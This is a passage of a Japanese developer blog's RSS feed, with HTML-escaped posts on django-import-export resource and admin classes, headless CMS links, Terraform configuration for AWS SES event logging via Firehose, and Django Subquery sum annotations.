&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; import_export &lt;span style="color:#f92672"&gt;import&lt;/span&gt; resources
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; .. &lt;span style="color:#f92672"&gt;import&lt;/span&gt; models
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DepartmentResource&lt;/span&gt;(resources&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ModelResource):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Department
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; import_id_fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;company_code&amp;#34;&lt;/span&gt;] &lt;span style="color:#75715e"&gt;# 複合キー&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exclude &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;company&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;jobposts&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;origin&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;status&amp;#34;&lt;/span&gt;] &lt;span style="color:#75715e"&gt;# 除外&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_instance&lt;/span&gt;(self, instance_loader, row):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; instance &lt;span style="color:#f92672"&gt;=&lt;/span&gt; super()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_instance(instance_loader, row)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exclude &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; instance:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exclude &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;is_m03&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;is_tmb&amp;#34;&lt;/span&gt;] &lt;span style="color:#75715e"&gt;# 更新除外&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; list(map(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: row&lt;span style="color:#f92672"&gt;.&lt;/span&gt;pop(i, &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;), exclude))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; instance
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="adminpy"&gt;admin.py&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; import_export.admin &lt;span style="color:#f92672"&gt;import&lt;/span&gt; ImportExportActionModelAdmin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; . &lt;span style="color:#f92672"&gt;import&lt;/span&gt; inlines, resources
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;BaseModelAdmin&lt;/span&gt;(ImportExportActionModelAdmin):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exclude &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;created_at&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; readonly_fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;updated_at&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@admin.register&lt;/span&gt;(models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Department)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DepartmentAdmin&lt;/span&gt;(BaseModelAdmin):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; resource_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; resources&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DepartmentResource
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Headless CMS</title><link>https://hdknr.github.io/blogs/posts/2023/05/headless-cms/</link><pubDate>Thu, 18 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/headless-cms/</guid><description>&lt;h2 id="headless-cms"&gt;Headless CMS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ugo.tokyo/headless-cms-comparision/"&gt;【2023年】人気のヘッドレスCMSを徹底比較！Contentful・Strapi・Hygraphなど。&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS SES Logging</title><link>https://hdknr.github.io/blogs/posts/2023/05/aws-ses-logging/</link><pubDate>Wed, 17 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/aws-ses-logging/</guid><description>&lt;h2 id="aws-ses-ロギング"&gt;AWS SES ロギング&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://repost.aws/ja/knowledge-center/ses-email-event-logs"&gt;Amazon SES ログにはどのようにアクセスできますか?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.denet.co.jp/amazon-ses-log/"&gt;Amazon SES でのメール送信ログを表示する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/ses/latest/dg/logging-using-cloudtrail.html"&gt;AWS CloudTrail を使用した Amazon SES API コールのログ作成&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/isseeeeey55/articles/61b350c27e1040"&gt;SESの送信履歴を確認したい&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="terrafrom--firefose"&gt;Terrafrom + Firefose&lt;/h3&gt;
&lt;p&gt;Firehoseを使用してSESのログをS3バケットに記録するには、Terraformで以下のように記述することができます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;resource &amp;#34;aws_s3_bucket&amp;#34; &amp;#34;log_bucket&amp;#34; {
bucket = &amp;#34;log-bucket&amp;#34;
}
resource &amp;#34;aws_ses_domain_identity&amp;#34; &amp;#34;example&amp;#34; {
domain = &amp;#34;example.com&amp;#34;
}
resource &amp;#34;aws_ses_domain_identity_verification&amp;#34; &amp;#34;example&amp;#34; {
domain = aws_ses_domain_identity.example.domain
}
resource &amp;#34;aws_ses_configuration_set&amp;#34; &amp;#34;example&amp;#34; {
name = &amp;#34;example&amp;#34;
}
resource &amp;#34;aws_ses_event_destination&amp;#34; &amp;#34;example&amp;#34; {
configuration_set_name = aws_ses_configuration_set.example.name
name = &amp;#34;example&amp;#34;
enabled = true
kinesis_firehose_destination {
role_arn = aws_iam_role.firehose_role.arn
delivery_stream_arn = aws_kinesis_firehose_delivery_stream.firehose.arn
}
matching_types = [
&amp;#34;send&amp;#34;,
&amp;#34;reject&amp;#34;,
&amp;#34;bounce&amp;#34;,
&amp;#34;complaint&amp;#34;,
&amp;#34;delivery&amp;#34;,
&amp;#34;open&amp;#34;,
&amp;#34;click&amp;#34;,
]
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;このコードでは、S3バケットを作成し、SESドメイン識別子を作成し、検証し、構成セットを作成し、イベント宛先を作成しています。&lt;/p&gt;</description></item><item><title>Django Subquery</title><link>https://hdknr.github.io/blogs/posts/2023/05/django-subquery/</link><pubDate>Wed, 17 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/django-subquery/</guid><description>&lt;h2 id="subquery"&gt;Subquery&lt;/h2&gt;
&lt;h2 id="合計値のアノテート"&gt;合計値のアノテート&lt;/h2&gt;
&lt;p&gt;サブクエリの合計値:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;合計対象レコードを OuterRefで条件指定してして絞り込む&lt;/li&gt;
&lt;li&gt;&lt;code&gt;values()&lt;/code&gt; で ユニークフィールドで &lt;code&gt;GROUP BY&lt;/code&gt; する&lt;/li&gt;
&lt;li&gt;対象フィールドの合計値を&lt;code&gt;anotate&lt;/code&gt; する&lt;/li&gt;
&lt;li&gt;アノテートしたフィールドを &lt;code&gt;values()&lt;/code&gt; で ValueList にしてSubqueryで返す(1件のはず)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;verify&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; OuterRef, Subquery, F
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db.models.functions &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Coalesce
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;from&lt;/span&gt; base.models.utils &lt;span style="color:#f92672"&gt;import&lt;/span&gt; aggr_sum_decimal &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; D
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;from&lt;/span&gt; decimal &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Decimal
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ref_query &lt;span style="color:#f92672"&gt;=&lt;/span&gt; dict(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; book__company_code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;OuterRef(&lt;span style="color:#e6db74"&gt;&amp;#34;company_code&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; book__processing_month&lt;span style="color:#f92672"&gt;=&lt;/span&gt;OuterRef(&lt;span style="color:#e6db74"&gt;&amp;#34;processing_month&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; account_code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;OuterRef(&lt;span style="color:#e6db74"&gt;&amp;#34;account_code&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; account_item_code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;OuterRef(&lt;span style="color:#e6db74"&gt;&amp;#34;account_item_code&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; advances_code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;OuterRef(&lt;span style="color:#e6db74"&gt;&amp;#34;outsource_code&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; advances_branch_code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;OuterRef(&lt;span style="color:#e6db74"&gt;&amp;#34;outsource_branch_code&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bookitem_sum&lt;/span&gt;(bookitem):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; qs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; bookitem&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;filter(&lt;span style="color:#f92672"&gt;**&lt;/span&gt;ref_query)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt;values(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;ref_query&lt;span style="color:#f92672"&gt;.&lt;/span&gt;keys())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt;annotate(total&lt;span style="color:#f92672"&gt;=&lt;/span&gt;D(&lt;span style="color:#e6db74"&gt;&amp;#34;amount&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt;values(&lt;span style="color:#e6db74"&gt;&amp;#34;total&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; Subquery(qs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; qs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CostOutsource&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;annotate(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sum_debit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Coalesce(bookitem_sum(BookDebit), Decimal(&lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;)),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sum_credit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Coalesce(bookitem_sum(BookCredit), Decimal(&lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;)),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )&lt;span style="color:#f92672"&gt;.&lt;/span&gt;exclude(debit_amount&lt;span style="color:#f92672"&gt;=&lt;/span&gt;F(&lt;span style="color:#e6db74"&gt;&amp;#34;sum_debit&amp;#34;&lt;/span&gt;), credit_amount&lt;span style="color:#f92672"&gt;=&lt;/span&gt;F(&lt;span style="color:#e6db74"&gt;&amp;#34;sum_credit&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
